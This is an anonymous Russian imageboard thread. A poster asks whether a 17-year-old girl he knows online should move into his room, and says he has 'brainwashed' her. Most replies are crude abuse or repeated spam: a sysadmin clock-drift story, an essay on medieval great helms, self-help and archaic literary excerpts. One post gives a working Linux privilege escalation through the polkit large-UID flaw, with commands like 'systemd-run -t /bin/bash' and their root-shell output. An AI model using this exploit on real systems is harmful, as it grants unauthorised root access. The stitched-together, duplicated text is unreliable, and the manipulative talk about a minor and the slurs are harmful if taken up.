Бред


Ответить в тред Ответить в тред

Check this out!
<<
Назад | Вниз | Каталог | Обновить тред | Автообновление
54 3 12

Аноним 27/08/19 Втр 09:39:20 2027131201
15668342522850.jpg (508Кб, 890x892)
890x892
Дващ. Я долбоеб, дващ. Не совсем биопроблемный, вопросительный.

Я общался с одной тян по интернету 3 года, сейчас ей 17. В вуз она не поступила, родители ее бросили, отправили в ебеня к бабке с дедом. Она хочет съебаться ко мне. А у меня мамка за стенкой. И сам я владею по-сути только комнатой 16-16 метров. Не работаю.

Как думаешь, двощ, приютить? И какие санкции могут грозить от ее родителей?
Аноним 27/08/19 Втр 09:41:19 2027131742
Инстабамп. Мать охуеет и офк обложит меня налогами, но как же тяночку хочется...
Аноним 27/08/19 Втр 09:41:27 2027131793
>>202713120 (OP)
>я владею по-сути только комнатой 16-16 метров
>Не работаю.
ты ничем не владеешь, дебс
Аноним 27/08/19 Втр 09:42:13 2027132084
>>202713179
Владею. Доля оформлена на меня. Это моя комната по закону.
Аноним 27/08/19 Втр 09:42:36 2027132145
РАБотаешь ?
Аноним 27/08/19 Втр 09:43:28 2027132576
Аноним 27/08/19 Втр 09:43:48 2027132767
Жди пока бабе будет 18, начинай РАБотать и снимай отдельно квартиру, иначе это будет пиздец)
Аноним 27/08/19 Втр 09:43:54 2027132798
>>202713208
ок, чмохен, мамке только не говори это, иначе за "твою долю" перестанут платить.
Аноним 27/08/19 Втр 09:45:53 2027133649
>>202713120 (OP)
Ну ты её приютишь, будет пиздец как не комфортно жить вместе, может потрахаешься, а может и нет, лол, вот было бы забавно ну а потом она съебет к Ерохину на хуец.
Лучше уж предложи ей вместе хату снимать чем с родаками жить.
Аноним 27/08/19 Втр 09:45:55 20271336710
>>202713276
Чем опасно жить с матерью? Мне здесь нравится. А через год я все равно уеду в другую страну.
27/08/19 Втр 09:46:26 20271338511
не, ну если твоя мать когда-нибудь хотела дочь, то всё может получиться
27/08/19 Втр 09:46:52 20271340112
Аноним 27/08/19 Втр 09:46:57 20271340513
15559926903180.jpg (57Кб, 604x340)
604x340
>>202713120 (OP)
Если она из ебеней на свои деньги приедет, то попробуй.

Мамка скорее всего будет негативно относиться к ней, из за ревности. Но если ты не ненавидишь свою мамку, то пусть приезжает к тебе.

Еще телки не любят убираться, ну то есть если телка месяц живет у тебя в хате и не убралась ни разу то это норм, так как она может стесняться и думать что ты будешь против этого и т.д. Если проходит больше полутра недель и она ни разу за собой посуду не помоет, ну тогда пиздец дропай сразу.

Еще она может быть тупо поехавшей на голову, как только приедет к тебе сразу на все хуй забьет, и даже не будет пытаться найти работу и говорить что ты ей должен.
27/08/19 Втр 09:47:44 20271344614
>>202713120 (OP)
Отношения для быдло, унтерменьше, недалеких , животных . для уМеняЕстьХуйПойдемЕбаться людей ,для дцп , для аленей , для отбросов , для кадров с дефектом мозга, овощей , для ЯнехочуУчитьсяЛучшеЖениться, для пидерастов ,говноедов , для тех кто давится своей же промежностью , для мразей,тварей,скотин, неудолетворенных жизнью ищущих дико сладких ощущений даунов , отбитых, конченых , рождённых умирать , для мазохистов , ракобольных , для пациентов с повышенной дозой экскрементов в головной коробке.
Отношения не приведут вас к успеху.

>>202713174
>>202713208
>>202713405
>>202713367
Аноним 27/08/19 Втр 09:48:07 20271346015
>>202713364
Почему некомфортно? Комната у меня большая и кровати две двухместные. Три компа и ноутбук. Почему некомфортно то?
27/08/19 Втр 09:48:23 20271347116
>>202713405
Клац-клац…
# systemctl enable systemd-timesyncd.service && systemctl start systemd-timesyncd.service && ntpdate 0.ru.pool.ntp.org && timedatectl set-ntp on && timedatectl
25 Aug 21:00:10 ntpdate[28114]: adjust time server 195.210.189.106 offset -249.015251 sec
Local time: Sun 2019-08-25 21:00:10 +03
Universal time: Sun 2019-08-25 18:00:10 UTC
RTC time: Sun 2019-08-25 18:00:10
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a

Всё отлично, время синхронизировалось, системное совпадает с аппаратным. «Забирай», — обронил я и вернулся к своим делам.
«Что забирай? — возмутился коллега. — Время прежнее!»
Чем больше решаешь типовых задач тем больше зашоривается мышление и уже не думаешь, что сотая или тысячная ситуация будет другой, но не в этот раз.
# timedatectl
Local time: Sun 2019-08-25 21:09:15 +03
Universal time: Sun 2019-08-25 18:09:15 UTC
RTC time: Sun 2019-08-25 18:05:04
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Системное время снова неправильное.
Попробуем ещё раз:
# ntpdate 0.ru.pool.ntp.org && timedatectl && sleep 1 && timedatectl
25 Aug 21:07:37 ntpdate[30350]: step time server 89.175.20.7 offset -249.220828 sec
Local time: Sun 2019-08-25 21:07:37 +03
Universal time: Sun 2019-08-25 18:07:37 UTC
RTC time: Sun 2019-08-25 18:07:37
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:11:46 +03
Universal time: Sun 2019-08-25 18:11:46 UTC
RTC time: Sun 2019-08-25 18:07:37
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Давайте по-другому:
# date -s "2019-08-25 21:10:30" && date && sleep 1 && timedatectl
Sun Aug 25 21:10:30 +03 2019
Sun Aug 25 21:10:30 +03 2019
Local time: Sun 2019-08-25 21:14:36 +03
Universal time: Sun 2019-08-25 18:14:36 UTC
RTC time: Sun 2019-08-25 18:10:30
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

А вот так:
# hwclock --hctosys && timedatectl && sleep 1 && timedatectl
Local time: Sun 2019-08-25 21:11:31 +03
Universal time: Sun 2019-08-25 18:11:31 UTC
RTC time: Sun 2019-08-25 18:11:31
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:15:36 +03
Universal time: Sun 2019-08-25 18:15:36 UTC
RTC time: Sun 2019-08-25 18:11:32
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Время устанавливается на долю секунды, и тут же начинает «спешить» вновь.

При этом в логах, на момент такой ручной смены, видим лишь отчёты системы, о том, что время изменилось, соответственно в правильную/неправильную стороны и изредка Resyncing от systemd-timesyncd.
Aug 25 21:18:51 wisi systemd[1]: Time has been changed
Aug 25 21:18:51 wisi systemd-timesyncd[29258]: System time changed. Resyncing.
Aug 25 21:18:51 wisi systemd[1187]: Time has been changed
Aug 25 21:18:51 wisi systemd[1]: Time has been changed
Aug 25 21:18:51 wisi systemd[1187]: Time has been changed
здесь
# ps afx | grep "[1]187"
1187 ? Ss 0:02 /lib/systemd/systemd --user

В этот момент уже нужно было искать причину, но мозг за 18 лет админства наработал статистику ошибок «времени» и по привычке снова обвиняет синхронизацию.
Отключаем её напрочь.
timedatectl set-ntp off && systemctl stop systemd-timesyncd.service
# hwclock --hctosys && timedatectl && sleep 1 && timedatectl
Local time: Sun 2019-08-25 21:25:40 +03
Universal time: Sun 2019-08-25 18:25:40 UTC
RTC time: Sun 2019-08-25 18:25:40
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: no
NTP synchronized: no
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:29:31 +03
Universal time: Sun 2019-08-25 18:29:31 UTC
RTC time: Sun 2019-08-25 18:25:41
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: no
NTP synchronized: no
RTC in local TZ: no
>>202713367
>>202713364
>>202713120 (OP)
27/08/19 Втр 09:49:29 20271351217
>>202713174
>>202713460

The Great Helm in Wear
The great helm was surely one of the least comfortable pieces of armour mankind has developed, yet its effectiveness is shown by its length of service to the warrior class. Questions about how it was worn are answered by study of period art and the few originals still in existence.

Great helms, throughout their epoch, seem to have been held on the head with a chin-strap, not too different in its basic design from what we see on bicycle and motorcycle helmets today. Their use on great helms would seem to be a natural thing, as they evolved from conical Norman-style helms that were secured to the head the same way.

To keep the helm firmly in place on the head and adjusted so the wearer could see through the eye slit(s), a band of leather was often riveted to the inside, such as we see in fragments from the Black Prince's great helm in Canterbury Cathedral. Triangular gussets from the band would be drawn and laced together at the center allowing some adjustability and a customized fit. Some brasses and effigies also show a padded ring being worn over the mail coif to further stabilize the helm. Some helms, especially later tilting helms, had full padded liners, much like a sock for the head with a cutout hole for the face. This sleeve would then be laced to the inside of the helm.

As an additional layer of protection a cervelliere, or bascinet, was often worn under the great helm and mail coif beginning in the 13th century. The abnormally sized heads of knights depicted in effigies and brasses seems to indicate this, and indeed, brasses of the early 14th century show this cap, no longer under the coif, evolving into the true bascinet which would replace both the cervelliere and the great helm.

Many great helms, especially those of the late 13th and 14th centuries are pierced near the lower edge in front with cross-shaped holes. While providing decoration and an obvious symbol of piety, they often served a more utilitarian purpose. A chain from the belt, or later the cuirass, would end in a toggle that could be threaded through that hole in the helm. This enabled the wearer to retain possession of the helm should it become dislodged from his head. It also allowed the warrior to remove the helm when it was not needed and sling it over his shoulder as is clearly seen on the carved stone monument of Colaccio Beccadelli (d. 1341).

The obscuring of the face of the wearer for protective purposes led to the need for other means of identification. One needs to look no further than the Battle of Hastings to see the need for quick identification of leaders and nobles. William the Conqueror's troops feared his death until they were able to recognize him and see that he still lived. In addition to being visible to soldiers on your own side, it could also be important to show your status to opposing soldiers, in the hope that you might be captured and ransomed rather than killed outright.

It is tempting to think of great helms as always being of shining steel. Period artwork shows us that this may not have always been the case. As early as the early 13th century, we see helms painted to match shields in an early form of heraldry. The Maciejowski Bible shows great helms in a variety of colors including blue, yellow, orange, and gold.

Another outgrowth of the need for identification is the crest. While allowing "the knight to indulge in an ostentatious display of martial magnificence" (in the words of David Edge and John Miles Paddock), the crest also served as a means of identification. These crests were first seen late in the 12th century; the fan-shaped crest on a seal of Richard I (the Lion-Hearted) being earliest.


>>202713120 (OP)
>>202713174
Аноним 27/08/19 Втр 09:49:38 20271351918
>>202713405
Она вроде чистоплотная и согласна убираться по всей квартире.
27/08/19 Втр 09:50:10 20271354719
>>202713519
>>202713120 (OP)

Эти люди были так бедны, что по вечерам мальчик был вынужден отправляться с корзиной на
дорогу к топливным складам, подбирать кусочки угля из опорожненных угольных вагонов. Этот
мальчик по имени Эдвард Бок не имел возможности окончить более шести классов школы.
Однако, в конце концов, он собственными усилиями стал одним из наиболее преуспевающих
издателей в истории американской журналистики. Как он достиг этого? Это долгая история, но о
том, с чего он начало можно рассказать кратко. Он начал с использования принципов, защите
которых посвящена данная книга.
В тринадцать лет он закончил школу и стал мальчиком-посыльным в конторе "Вестерн Юнион",
получая шесть долларов пять центов в неделю, но ни на одно мгновение он не оставлял мысли об
образовании. Напротив, он решительно взялся за самообразование. Экономя деньги на плате за
проезд и на завтрак, он скопил необходимую сумму для приобретения американской
биографической энциклопедии, а потом, купив ее, предпринял неслыханную доселе вещь.
Прочитав жизнеописание известнейших в Америке людей, он дерзнул написать им письма с
просьбой сообщить ему дополнительные сведения об их детстве. Он был "хорошим слушателем".
Своими вопросами он сумел побудить известнейших людей рассказать ему о себе. Он написали
генералу Джеймсу А. Гарфилду, тогда кандидату в президенты, и спросил его, правда ли, что он
некогда таскал баржи на канале, и Гарфилд ответил ему.
Он написал генералу Гранту, интересуясь обстоятельствами одного сражения, и Грант
собственноручно нарисовал ему карту сражения и пригласил четырнадцатилетнего мальчика к
себе на обед, провел в беседе с ним целый вечер.
Он написал Эмерсону и вызвал у него желание поведать ему о себе.
Вскоре мальчик-посыльный из "Вестерн Юнион" уже состоял в переписке со многими из
наиболее прославленных людей нации. Эмерсон, Филипп Брукс, Оливер Уэндел Холмс,
Лонгфелло и т. д. стали его корреспондентами.
Он не только переписывался с этими известнейшими людьми, но во время своего отпуска
посетил многих из них и встретил в их домах радушный прием.
Этот опыт вселил в него уверенность в собственных силах, что само по себе неоценимо. А
знакомство с этими людьми возбудило в нем черты и честолюбивые устремления, которые
решительно изменили всю его жизнь. И все это, позвольте мне это вновь подчеркнуть, оказалось
возможным единственно только благодаря применению принципов, которые мы обсуждаем на
этих страницах.
Аноним 27/08/19 Втр 09:50:47 20271358320
Порватка на сеге, я же в любой момент могу десять таких тредов создать, зачем ты это делаешь?
Аноним 27/08/19 Втр 09:50:49 20271358621
>>202713460
Ты долбоёб? Ты жил с другим человеком? Ты её возненавидишь через неделю и будешь искать места где никого нет. Пердеть при ней будешь? Тебя будет раздражать что она что-то бросила, переставила. Ну поживи.
27/08/19 Втр 09:50:56 20271359022
>>202713519
#текст

Чего же хотел маленький мальчик? Не надо быть Шерлоком Холмсом, чтобы найти ответ. Его
гордость, его гнев, его желание ощущать свою значительность — все его самые сильные эмоции
побуждали его стремиться к отмщению, к тому, чтобы разбить "опасности" нос. И тогда его отец
сказал ему, что он сможет так стукнуть большого "приставалу", что у него в глазах потемнеет, если
он только будет кушать все, что даст мама. Когда отец дал ему надежду на это, диетические
проблемы вскоре исчезли.
Этот мальчик стал есть шпинат, кислую капусту, соленую скумбрию любую пищу с целью стать
достаточно большим, чтобы дать затрещину задире, так часто унижающему его.
После решения этой проблемы отец взялся за другое, малыш имел дурную привычку мочиться
во сне в постели. Он спал со своей бабушкой. Проснувшись утром, бабушка обычно ощупывала
простынь и говорила: "Посмотри, Джонни, что ты опять наделал ночью". А он обычно отвечал:
"Нет, это не я сделал. Это ты сделала".
Его ругали, шлепали, стыдили, вновь и вновь повторяя, что мама не хочет, чтобы он делал это
— ни одна из этих мер не смогла сохранить постель сухой. Наконец, его родители задали себе
вопрос: "Как нам сделать, чтобы ему вообще захотелось перестать мочиться в постель? Чего ему
вообще хочется?"
Во-первых, ему хотелось надевать на ночь пижаму, как папа, а не ночную сорочку, как бабушка.
Бабушка была сыта ночными переполохами и охотно проявила готовность купить ему пижамную
пару, если он намерен исправиться.
Во-вторых, он хотел иметь свою собственную постель. Бабушка не возражала. Мать повела его
в универсальный магазин, подмигнула продавщице и сказала: "Вот маленький джентльмен,
который хочет сделать кое-какие покупки".
Продавщица дала ему возможность почувствовать свою значительность, спросив: "Что
прикажете показать вам, молодой человек?" Он вырос на два дюйма от этих слов и ответил: "Я
хочу купить себе кровать".
Когда продавщица показала ему кроватку, которая понравилась его матери, малыша убедили
купить именно эту.
На следующий день кроватка была доставлена, и, когда вечером пришел домой отец, малыш
побежал встречать его с криком: "Папа! Папа! Иди сюда наверх, посмотри МОЮ кровать, которую
Я купил!" Отец посмотрел кроватку и, послушный предписаниям Чарльза Швэба, проявил
"сердечность в одобрении и щедрость в похвалах". "Эту кроватку ты уже не будешь мочить? Не так
ли?", -спросил он. "Ах, нет! Нет! Я не буду мочить эту кроватку!" Мальчик сдержал свое обещание.
Здесь была затронута его гордость. Это была его кровать. Он и только он купил ее. И он носил
теперь пижаму, как подобает маленькому мужчине. Он хотел вести себя как мужчина. И он так
себя вел.

>>202713120 (OP)
>>202713174
>>202713179
>>202713405
Аноним 27/08/19 Втр 09:51:02 20271359523
>>202713519
А по остальным пунктам что с ней ?
27/08/19 Втр 09:51:30 20271361324
>>202713586
>>202713583
>>202713405
Клац-клац…
# systemctl enable systemd-timesyncd.service && systemctl start systemd-timesyncd.service && ntpdate 0.ru.pool.ntp.org && timedatectl set-ntp on && timedatectl
25 Aug 21:00:10 ntpdate[28114]: adjust time server 195.210.189.106 offset -249.015251 sec
Local time: Sun 2019-08-25 21:00:10 +03
Universal time: Sun 2019-08-25 18:00:10 UTC
RTC time: Sun 2019-08-25 18:00:10
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a

Всё отлично, время синхронизировалось, системное совпадает с аппаратным. «Забирай», — обронил я и вернулся к своим делам.
«Что забирай? — возмутился коллега. — Время прежнее!»
Чем больше решаешь типовых задач тем больше зашоривается мышление и уже не думаешь, что сотая или тысячная ситуация будет другой, но не в этот раз.
# timedatectl
Local time: Sun 2019-08-25 21:09:15 +03
Universal time: Sun 2019-08-25 18:09:15 UTC
RTC time: Sun 2019-08-25 18:05:04
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Системное время снова неправильное.
Попробуем ещё раз:
# ntpdate 0.ru.pool.ntp.org && timedatectl && sleep 1 && timedatectl
25 Aug 21:07:37 ntpdate[30350]: step time server 89.175.20.7 offset -249.220828 sec
Local time: Sun 2019-08-25 21:07:37 +03
Universal time: Sun 2019-08-25 18:07:37 UTC
RTC time: Sun 2019-08-25 18:07:37
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:11:46 +03
Universal time: Sun 2019-08-25 18:11:46 UTC
RTC time: Sun 2019-08-25 18:07:37
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Давайте по-другому:
# date -s "2019-08-25 21:10:30" && date && sleep 1 && timedatectl
Sun Aug 25 21:10:30 +03 2019
Sun Aug 25 21:10:30 +03 2019
Local time: Sun 2019-08-25 21:14:36 +03
Universal time: Sun 2019-08-25 18:14:36 UTC
RTC time: Sun 2019-08-25 18:10:30
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

А вот так:
# hwclock --hctosys && timedatectl && sleep 1 && timedatectl
Local time: Sun 2019-08-25 21:11:31 +03
Universal time: Sun 2019-08-25 18:11:31 UTC
RTC time: Sun 2019-08-25 18:11:31
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: yes
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:15:36 +03
Universal time: Sun 2019-08-25 18:15:36 UTC
RTC time: Sun 2019-08-25 18:11:32
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: yes
NTP synchronized: no
RTC in local TZ: no
DST active: n/a

Время устанавливается на долю секунды, и тут же начинает «спешить» вновь.

При этом в логах, на момент такой ручной смены, видим лишь отчёты системы, о том, что время изменилось, соответственно в правильную/неправильную стороны и изредка Resyncing от systemd-timesyncd.
Aug 25 21:18:51 wisi systemd[1]: Time has been changed
Aug 25 21:18:51 wisi systemd-timesyncd[29258]: System time changed. Resyncing.
Aug 25 21:18:51 wisi systemd[1187]: Time has been changed
Aug 25 21:18:51 wisi systemd[1]: Time has been changed
Aug 25 21:18:51 wisi systemd[1187]: Time has been changed
здесь
# ps afx | grep "[1]187"
1187 ? Ss 0:02 /lib/systemd/systemd --user

В этот момент уже нужно было искать причину, но мозг за 18 лет админства наработал статистику ошибок «времени» и по привычке снова обвиняет синхронизацию.
Отключаем её напрочь.
timedatectl set-ntp off && systemctl stop systemd-timesyncd.service
# hwclock --hctosys && timedatectl && sleep 1 && timedatectl
Local time: Sun 2019-08-25 21:25:40 +03
Universal time: Sun 2019-08-25 18:25:40 UTC
RTC time: Sun 2019-08-25 18:25:40
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: no
NTP synchronized: no
RTC in local TZ: no
DST active: n/a
Local time: Sun 2019-08-25 21:29:31 +03
Universal time: Sun 2019-08-25 18:29:31 UTC
RTC time: Sun 2019-08-25 18:25:41
Time zone: Europe/Minsk (+03, +0300)
NTP enabled: no
NTP synchronized: no
RTC in local TZ: no
>>202713367
>>202713364
>>202713120 (OP)
27/08/19 Втр 09:52:08 20271364025
>>202713595
>>202713519
>>202713120 (OP)

Эти люди были так бедны, что по вечерам мальчик был вынужден отправляться с корзиной на
дорогу к топливным складам, подбирать кусочки угля из опорожненных угольных вагонов. Этот
мальчик по имени Эдвард Бок не имел возможности окончить более шести классов школы.
Однако, в конце концов, он собственными усилиями стал одним из наиболее преуспевающих
издателей в истории американской журналистики. Как он достиг этого? Это долгая история, но о
том, с чего он начало можно рассказать кратко. Он начал с использования принципов, защите
которых посвящена данная книга.
В тринадцать лет он закончил школу и стал мальчиком-посыльным в конторе "Вестерн Юнион",
получая шесть долларов пять центов в неделю, но ни на одно мгновение он не оставлял мысли об
образовании. Напротив, он решительно взялся за самообразование. Экономя деньги на плате за
проезд и на завтрак, он скопил необходимую сумму для приобретения американской
биографической энциклопедии, а потом, купив ее, предпринял неслыханную доселе вещь.
Прочитав жизнеописание известнейших в Америке людей, он дерзнул написать им письма с
просьбой сообщить ему дополнительные сведения об их детстве. Он был "хорошим слушателем".
Своими вопросами он сумел побудить известнейших людей рассказать ему о себе. Он написали
генералу Джеймсу А. Гарфилду, тогда кандидату в президенты, и спросил его, правда ли, что он
некогда таскал баржи на канале, и Гарфилд ответил ему.
Он написал генералу Гранту, интересуясь обстоятельствами одного сражения, и Грант
собственноручно нарисовал ему карту сражения и пригласил четырнадцатилетнего мальчика к
себе на обед, провел в беседе с ним целый вечер.
Он написал Эмерсону и вызвал у него желание поведать ему о себе.
Вскоре мальчик-посыльный из "Вестерн Юнион" уже состоял в переписке со многими из
наиболее прославленных людей нации. Эмерсон, Филипп Брукс, Оливер Уэндел Холмс,
Лонгфелло и т. д. стали его корреспондентами.
Он не только переписывался с этими известнейшими людьми, но во время своего отпуска
посетил многих из них и встретил в их домах радушный прием.
Этот опыт вселил в него уверенность в собственных силах, что само по себе неоценимо. А
знакомство с этими людьми возбудило в нем черты и честолюбивые устремления, которые
решительно изменили всю его жизнь. И все это, позвольте мне это вновь подчеркнуть, оказалось
возможным единственно только благодаря применению принципов, которые мы обсуждаем на
этих страницах.
27/08/19 Втр 09:52:28 20271365626
>>202713595
>>202713120 (OP)
Отношения для быдло, унтерменьше, недалеких , животных . для уМеняЕстьХуйПойдемЕбаться людей ,для дцп , для аленей , для отбросов , для кадров с дефектом мозга, овощей , для ЯнехочуУчитьсяЛучшеЖениться, для пидерастов ,говноедов , для тех кто давится своей же промежностью , для мразей,тварей,скотин, неудолетворенных жизнью ищущих дико сладких ощущений даунов , отбитых, конченых , рождённых умирать , для мазохистов , ракобольных , для пациентов с повышенной дозой экскрементов в головной коробке.
Отношения не приведут вас к успеху.

>>202713174
>>202713208
>>202713405
>>202713367
Аноним 27/08/19 Втр 09:53:11 20271369827
27/08/19 Втр 09:53:26 20271370928

Посредством дыры, кою прежде сего прорезал в двери сумасбродный фендрик, легко мог бы я освободить себя; но, понеже надлежало мне быть дурнем, оставил я сие втуне и не только поступил, как дурак, который не столь смышлен, чтобы уйти самому, но и прикинулся голодным телятей, что скучает по матери. Мое мычание вскорости было услышано теми, кто к сему был приставлен, ибо двое солдат подошли к гусятнику и спросили: «Кто там?» Я отвечал: «Вы, дурни, али не слышите, что здесь теленок?» Они отперли хлев, вывели меня наружу и дивились, что теленок может речь вести, и сие пристало им, как принужденные ужимки новоиспеченному неискусному комедианту, когда он персону, которую надлежит изобразить, не весьма-то ловко представляет, так что я подумывал, не должен ли я им в той шутке прийти на помощь. Они посоветовались, что надлежит предпринять, и согласились на том, чтоб поднести меня губернатору, а он их богаче одарит, нежели б заплатил им за меня мясник, ибо я разумею говорить. Они спросили, ладно ли идут мои дела. Я ответил: «Отменно худо!» Они спросили: «Отчего ж?» Я сказал: «Да оттого, что здесь в обычае честных телят запирать в гусятник! Надлежит вам, детинам, ежели того хотите, ведать, что предстоит мне вырасти достославным быком, так что и воспитать меня должно, как то честному тельцу приличествует». По окончании краткого сего дискурса отвели они меня проулком прямо в губернаторов дом; за ними следовала превеликая толпа мальчишек, и так как они, подобно мне, мычали по-телячьему, то слепец на слух заключить мог, что мимо гонят стадо телят; однако ж по виду было то сборищем старых и молодых дурней.

Итак, двое тех солдат презентовали меня губернатору, как если бы во время фуражировки заполучили меня в добычу. Он одарил их деньгами на пропой, мне же посулил, что я получу от него еще лучшие вещи. Я помыслил, как малый у золотаря [161], и сказал: «Добро, господин, однако ж не следует замыкать меня в гусятник, ибо мы, телята, того не сносим, когда надлежит нам возрасти в добрую рогатую скотину!» Губернатор наилучшим образом обнадежил меня и почел себя великим искусником, что сотворил из меня презабавного дурака; я же, напротив, думал: «Эге, любезный мой господин, помедли малость; я претерпел огненную пробу и в ней закалился; теперь давай испытывать, который из двух проведет другого за нос!»

Меж тем некий злополучный мужик гнал скотину на водопой; как только я сие увидел, то оставил губернатора и поспешил с телячьим мычанием за коровами, как если бы захотел сосать вымя. А те, едва я к ним приблизился, ужаснулись меня сильнее, нежели волка, хотя и был я облачен в ихнюю шкуру. И они так всполошились и разбежались во все стороны, как если бы в августе бросили посреди их гнездо, полное шершней, так что хозяин уже не смог согнать их вместе, что произвело немалую потеху. В мгновение ока сбежалась толпа народу, чтобы поглазеть на шутовское сие представление, и мой господин смеялся так, что чуть не лопнул, а потом сказал: «От одного дурня сотня других родится». Я же помыслил: «Ухвати за нос, да самого себя, ибо ты как раз тот, о ком речь держишь».

Подобно тому как всяк с того времени называл меня Теля, так и я, в свой черед, величал каждого особливым насмешливым прозвищем; оные были, по мнению многих, а паче всего по рассуждению моего господина, весьма метки, ибо каждого окрестил я, как то требовало его свойство. Одним словом, всяк почитал меня за неразумного дурня, а я каждого за отменного дурака. Сей обычай, как я приметил, употребителен еще и поныне, поелику всякий доволен своим умом и мнит себя разумнейшим среди всех прочих, хотя и не лживо сказано: «Stultorum plena sunt omnia» [162].

>>202713595
>>202713586
>>202713583
>>202713519
>>202713120 (OP)
>>202713174
Аноним 27/08/19 Втр 09:53:46 20271372029
>>202713595
Ну слегка поехавшая, но меня это не беспокоит. Мать ее за это немного хейтит, но перестанет, думаю, если она будет убирать квартиру вместо нее. Жрет мало, особого ухода не требует, на хуй ерохи не прыгнет, я в этом уверен, нормально мозги промыл.
27/08/19 Втр 09:53:48 20271372530
pT2GQaOeLJo-dva[...].jpg (12Кб, 290x340)
290x340
27/08/19 Втр 09:54:40 20271375831
>>202713720


Уязвимость существует благодаря ошибке в проверке PolicyKit запросов на получение прав для любого пользователя с UID, превышающим INT_MAX. Где INT_MAX — это константа, которая хранит максимальное значение целочисленной переменной типа integer, что равно 2147483647 (в шестнадцатеричном 0x7FFFFFFF).

Таким образом, если мы создадим учетную запись с любым UID, превышающим значение INT_MAX, компонент PolicyKit позволит успешно выполнить любую команду systemctl.

Исследователь безопасности Рич Мирч (Rich Mirch) из Twitter, представившийся как «0xm1rch», выпустил эксплойт proof-of-concept (PoC), чтобы успешно продемонстрировать уязвимость, которая требует пользователя с UID 4000000000.

Red Hat рекомендует системным администраторам не разрешать какие-либо отрицательные UID или UID больше 2147483646, чтобы смягчить проблему до выпуска заплатки.

Несколько способов эксплуатации от переводчика

Первый способ — просто через systemctl. Я создал пользователя с большим UID, затем попытался запустить apache2:

1) для начала проверил, что он лежит

$ systemctl status apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
apache2-systemd.conf
Active: inactive (dead)

2) попытался запустить, но получил ошибку

$ systemctl start apache2

(process:2820): GLib-GObject-WARNING : 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)

3) но затем убедился, что он все-таки запустился

$ systemctl status apache2
apache2.service - The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset:
Drop-In: /lib/systemd/system/apache2.service.d
apache2-systemd.conf
Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago
Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE
Main PID: 2829 (apache2)
Tasks: 55 (limit: 4526)
CGroup: /system.slice/apache2.service
2829 /usr/sbin/apache2 -k start
2830 /usr/sbin/apache2 -k start
2831 /usr/sbin/apache2 -k start

Второй способ заключается в запуске bash через systemd. Я выполнил следующую команду, создал текстовый документ в корне фс, добавил в него строку, и проверил результат

$ systemd-run -t /bin/bash

(process:3947): GLib-GObject-WARNING : 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint'

ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
Running as unit: run-u107.service
Press ^] three times within 1s to disconnect TTY.
# echo hello > /test.txt
# cat /test.txt
hello

Пока экспериментировал в своей убунте, обнаружил еще такую закономерность: если под пользователем с таким UID зайти в параметры учетных записей, то все настройки разблокированы, что позволяет редактировать/удалять любых пользователей.

Остается вопрос, как теперь «вызвать» появление на хосте-жертве пользователя с таким UID, и действительно ли этот баг несет угрозу?


>>202713595
>>202713519
>>202713120 (OP)
>>202713179
Аноним 27/08/19 Втр 09:54:48 20271376332
>>202713120 (OP)
>комнатой 16-16 метров
256м2?? Нихуя ж себе комната!
Аноним 27/08/19 Втр 09:54:48 20271376433
>>202713720
Это она тебе мозги промыла. Ну окей удачи тебе, поживешь увидишь.
27/08/19 Втр 09:55:14 20271378134
>>202713720
>>202713763
>>202713764
>>202713174
>>202713460

The Great Helm in Wear
The great helm was surely one of the least comfortable pieces of armour mankind has developed, yet its effectiveness is shown by its length of service to the warrior class. Questions about how it was worn are answered by study of period art and the few originals still in existence.

Great helms, throughout their epoch, seem to have been held on the head with a chin-strap, not too different in its basic design from what we see on bicycle and motorcycle helmets today. Their use on great helms would seem to be a natural thing, as they evolved from conical Norman-style helms that were secured to the head the same way.

